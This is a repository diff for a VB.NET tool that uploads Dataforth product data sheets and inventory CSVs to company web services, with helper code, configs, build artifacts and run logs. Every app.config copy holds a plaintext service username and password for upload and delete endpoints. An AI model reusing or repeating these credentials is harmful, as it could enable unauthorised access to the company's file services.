<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Linq" />
|
||||
<Import Include="System.Xml.Linq" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="HTTPUploader.vb" />
|
||||
<Compile Include="Module1.vb" />
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="XMLData.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config">
|
||||
<SubType>Designer</SubType>
|
||||
</None>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,81 @@
|
||||
Imports System.Xml
|
||||
Imports System.Net
|
||||
Imports System.IO
|
||||
|
||||
Namespace CSFramework_Utilities
|
||||
|
||||
Public Class XMLData
|
||||
|
||||
Public Shared Function XMLStringFromDataset(ByVal ds As DataSet) As String
|
||||
Dim sw As New StringWriter()
|
||||
ds.WriteXml(sw, XmlWriteMode.IgnoreSchema)
|
||||
Return sw.ToString()
|
||||
End Function
|
||||
|
||||
Public Shared Function DownloadXMLAsDataset(ByVal url As String, Optional ByVal credentials As Net.NetworkCredential = Nothing) As DataSet
|
||||
|
||||
Dim myXMLReader As XmlReader
|
||||
Dim myDataSet As New DataSet
|
||||
If credentials IsNot Nothing Then
|
||||
Dim myXMLResolver As XmlUrlResolver = New XmlUrlResolver
|
||||
myXMLResolver.Credentials = credentials
|
||||
Dim myXMLSettings As XmlReaderSettings = New XmlReaderSettings
|
||||
myXMLSettings.XmlResolver = myXMLResolver
|
||||
myXMLReader = XmlReader.Create(url, myXMLSettings)
|
||||
Else
|
||||
myXMLReader = XmlReader.Create(url)
|
||||
End If
|
||||
myDataSet.ReadXml(myXMLReader)
|
||||
Return myDataSet
|
||||
End Function
|
||||
|
||||
|
||||
Public Shared Function DownloadXMLWithDatasetPost(ByVal url As String, ByVal datasetToPost As DataSet, ByVal credentials As System.Net.NetworkCredential) As String
|
||||
|
||||
|
||||
Dim xmlrequest As HttpWebRequest = WebRequest.Create(url)
|
||||
xmlrequest.ContentType = "text/xml"
|
||||
xmlrequest.Method = WebRequestMethods.Http.Post
|
||||
xmlrequest.Credentials = credentials
|
||||
xmlrequest.Timeout = 2000000
|
||||
Try
|
||||
|
||||
Dim newStream As Stream = xmlrequest.GetRequestStream()
|
||||
datasetToPost.WriteXml(newStream)
|
||||
newStream.Close()
|
||||
|
||||
Dim xmlresponse As WebResponse = xmlrequest.GetResponse()
|
||||
Dim responseStr As String = ConvertStreamToString(xmlresponse.GetResponseStream)
|
||||
|
||||
|
||||
Return responseStr
|
||||
|
||||
Catch ex As Exception
|
||||
Return "DownloadXMLWithDatasetPost ERROR: " & vbCrLf & ex.ToString
|
||||
End Try
|
||||
|
||||
End Function
|
||||
|
||||
Public Shared Function ConvertStreamToString(ByVal InputStream As System.IO.Stream) As String
|
||||
Dim sr As System.IO.StreamReader = New System.IO.StreamReader(InputStream)
|
||||
Dim responseStr As String = sr.ReadToEnd()
|
||||
Return responseStr
|
||||
End Function
|
||||
|
||||
Public Shared Function DatasetFromXML(ByVal xml As String) As DataSet
|
||||
|
||||
Dim dataSet As DataSet = New DataSet
|
||||
|
||||
|
||||
Dim xmlSR As System.IO.StringReader = New System.IO.StringReader(xml)
|
||||
|
||||
dataSet.ReadXml(xmlSR)
|
||||
|
||||
Return dataSet
|
||||
|
||||
End Function
|
||||
|
||||
|
||||
End Class
|
||||
|
||||
End Namespace
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
Binary file not shown.
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,6 @@
|
||||
08/22/YYYY 15:47:17 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:47:32 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:47:32 | Upload FAIL MESSAGE: GSSG Service Upload Error: UploadType not recognized: TestFolder
|
||||
08/22/YYYY 15:47:32 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:47:32 | Upload FAIL MESSAGE: GSSG Service Upload Error: UploadType not recognized: TestFolder
|
||||
08/22/YYYY 15:47:32 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,6 @@
|
||||
08/22/YYYY 15:51:12 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:51:15 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:51:15 | Upload FAIL MESSAGE: Dataforth Service Upload Error: Access to the path 'C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\Custom Product Listing.pdf' is denied.
|
||||
08/22/YYYY 15:51:15 | Upload FAILED for C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:51:15 | Upload FAIL MESSAGE: Dataforth Service Upload Error: Access to the path 'C:\inetpub\wwwroot\dataforth.com\WebShare\ProcessCheckOutTestFolder\Custom Product Rules.pdf' is denied.
|
||||
08/22/YYYY 15:51:15 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,4 @@
|
||||
08/22/YYYY 15:57:38 | SyncFolder(TestFolder) started.
|
||||
08/22/YYYY 15:57:39 | Uploaded file: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Listing.pdf
|
||||
08/22/YYYY 15:57:40 | Uploaded file: C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists\Custom Product Rules.pdf
|
||||
08/22/YYYY 15:57:40 | No obsolete TestFolder files were detected.
|
||||
@@ -0,0 +1,9 @@
|
||||
08/22/YYYY 16:00:07 | SyncFolder(TestDataSheet) started.
|
||||
08/22/YYYY 16:02:13 | Exception in SyncFolder: System.Xml.XmlException: Data at the root level is invalid. Line 1, position 1.
|
||||
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
|
||||
at System.Xml.XmlTextReaderImpl.ParseRootLevelWhitespace()
|
||||
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
|
||||
at System.Xml.XmlReader.MoveToContent()
|
||||
at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
|
||||
at CSFramework.CSFramework_Utilities.XMLData.DatasetFromXML(String xml) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\OEMData\CSFramework\CSFramework\CSFramework_Utilities\XMLData.vb:line 66
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 81
|
||||
@@ -0,0 +1,8 @@
|
||||
03/31/YYYY 16:13:55 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:14:00 | Exception in SyncFolder: System.Xml.XmlException: Root element is missing.
|
||||
at System.Xml.XmlTextReaderImpl.Throw(Exception e)
|
||||
at System.Xml.XmlTextReaderImpl.ParseDocumentContent()
|
||||
at System.Xml.XmlReader.MoveToContent()
|
||||
at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
|
||||
at TestDataSheetUploader.CSFramework_Utilities.XMLData.DatasetFromXML(String xml) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\XMLData.vb:line 72
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 112
|
||||
@@ -0,0 +1,3 @@
|
||||
03/31/YYYY 16:18:48 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:19:34 | Exception in SyncFolder: System.NullReferenceException: Object reference not set to an instance of an object.
|
||||
at TestDataSheetUploader.Module1.SyncFolder(String FolderAlias) in C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\Module1.vb:line 114
|
||||
@@ -0,0 +1,9 @@
|
||||
03/31/YYYY 16:20:24 | SyncFolder(InventoryDataFolder) started.
|
||||
03/31/YYYY 16:20:30 | Manifest downloaded with 1 files.
|
||||
03/31/YYYY 16:20:30 | Accessing local folder: C:\TestDataSheetUploader\staging
|
||||
03/31/YYYY 16:20:30 | Found at least 1 file in local folder
|
||||
03/31/YYYY 16:20:30 | Requesting upload: AvSelCat.csv
|
||||
03/31/YYYY 16:20:30 | Requesting upload: AvSelCus.csv
|
||||
03/31/YYYY 16:20:30 | Found 2 files that need to be uploaded.
|
||||
03/31/YYYY 16:20:41 | Requested InventoryDataFolder Delete: New Text Document.txt
|
||||
03/31/YYYY 16:20:41 | Found 1 files to delete.
|
||||
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
Binary file not shown.
@@ -0,0 +1,40 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<configuration>
|
||||
<appSettings>
|
||||
<add key="UploaderServiceURL" value="https://www.dataforth.com/Services/Uploader.aspx"/>
|
||||
<add key="DirectoryManifestServiceURL" value="https://www.dataforth.com/Services/DirectoryManifest.aspx"/>
|
||||
<add key="DeleteFileServiceURL" value="https://www.dataforth.com/Services/DeleteFile.aspx"/>
|
||||
<add key="ServiceUsername" value="DataforthWebShare"/>
|
||||
<add key="ServicePassword" value="Data6277"/>
|
||||
|
||||
<add key="TestDataSheetPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
<add key="TestFolderPath" value="C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists"/>
|
||||
|
||||
<add key="InventoryDataStagingFolder" value="C:\TestDataSheetUploader\staging"/>
|
||||
<add key="InventoryDataSourceFolder" value="C:\TestDataSheetUploader\src"/>
|
||||
<add key="InventoryDataFiles" value="AvSelCat.csv,AvSelCus.csv"/>
|
||||
|
||||
<add key="TestMode" value="false"/>
|
||||
|
||||
</appSettings>
|
||||
<system.diagnostics>
|
||||
<sources>
|
||||
<!-- This section defines the logging configuration for My.Application.Log -->
|
||||
<source name="DefaultSource" switchName="DefaultSwitch">
|
||||
<listeners>
|
||||
<add name="FileLog"/>
|
||||
<!-- Uncomment the below section to write to the Application Event Log -->
|
||||
<!--<add name="EventLog"/>-->
|
||||
</listeners>
|
||||
</source>
|
||||
</sources>
|
||||
<switches>
|
||||
<add name="DefaultSwitch" value="Information"/>
|
||||
</switches>
|
||||
<sharedListeners>
|
||||
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
|
||||
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
|
||||
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
|
||||
</sharedListeners>
|
||||
</system.diagnostics>
|
||||
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/></startup></configuration>
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
</assembly>
|
||||
@@ -0,0 +1,26 @@
|
||||
<?xml version="1.0"?>
|
||||
<doc>
|
||||
<assembly>
|
||||
<name>
|
||||
TestDataSheetUploader
|
||||
</name>
|
||||
</assembly>
|
||||
<members>
|
||||
<member name="T:TestDataSheetUploader.My.Resources.Resources">
|
||||
<summary>
|
||||
A strongly-typed resource class, for looking up localized strings, etc.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.ResourceManager">
|
||||
<summary>
|
||||
Returns the cached ResourceManager instance used by this class.
|
||||
</summary>
|
||||
</member>
|
||||
<member name="P:TestDataSheetUploader.My.Resources.Resources.Culture">
|
||||
<summary>
|
||||
Overrides the current thread's CurrentUICulture property for all
|
||||
resource lookups using this strongly typed resource class.
|
||||
</summary>
|
||||
</member>
|
||||
</members>
|
||||
</doc>
|
||||
Binary file not shown.
@@ -0,0 +1,13 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<FolderContents>
|
||||
<ContentFile>
|
||||
<Filename>AvSelCat.csv</Filename>
|
||||
<Filesize>10900</Filesize>
|
||||
<DateLastUpdated>2019-06-06T05:10:18.549187Z</DateLastUpdated>
|
||||
</ContentFile>
|
||||
<ContentFile>
|
||||
<Filename>AvSelCus.csv</Filename>
|
||||
<Filesize>2529</Filesize>
|
||||
<DateLastUpdated>2019-06-06T01:10:32.1961739Z</DateLastUpdated>
|
||||
</ContentFile>
|
||||
</FolderContents>
|
||||
@@ -0,0 +1,7 @@
|
||||
' <autogenerated/>
|
||||
Option Strict Off
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName:=".NET Framework 4.7.2")>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
ff0a48e8544663eb773da2d9d956c2efd790e83a
|
||||
@@ -0,0 +1,22 @@
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe.config
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.Resources.resources
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.GenerateResource.Cache
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\hoffm\Documents\Visual Studio 2015\Projects\Dataforth\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbprojResolveAssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe.config
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.exe
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.pdb
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\bin\Debug\TestDataSheetUploader.xml
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.AssemblyReference.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.vbproj.SuggestedBindingRedirects.cache
|
||||
C:\Users\kennethhoffman\source\repos\dataforth-enterprise\TestDataSheetUploader\TestDataSheetUploader\obj\Debug\TestDataSheetUploader.Resources.resources
|
||||
